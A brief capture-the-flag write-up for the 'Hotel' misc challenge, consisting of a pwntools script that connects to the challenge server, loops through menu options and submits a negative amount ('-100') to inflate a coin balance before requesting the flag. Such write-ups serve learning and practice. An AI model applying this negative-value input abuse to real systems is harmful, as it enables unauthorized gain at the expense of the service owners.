Writeup for Hotel (misc) - HackTheBox x Synack RedTeamFive CTF (2021) 💜
Solution
from pwn import *
io = remote('ip', 31337)
# Loop through 40 times (backwards)
# This will allow us to deal with XOR in final stage
for i in range(40, 0, -1):
io.sendline('1')
io.sendlineafter(':', str(i))
# Get coins
io.sendline('2')
# Negative value to add 100 coins
io.sendlineafter('?', '-100')
# Try and get flag
io.sendline('3')
# Win?
io.interactive()
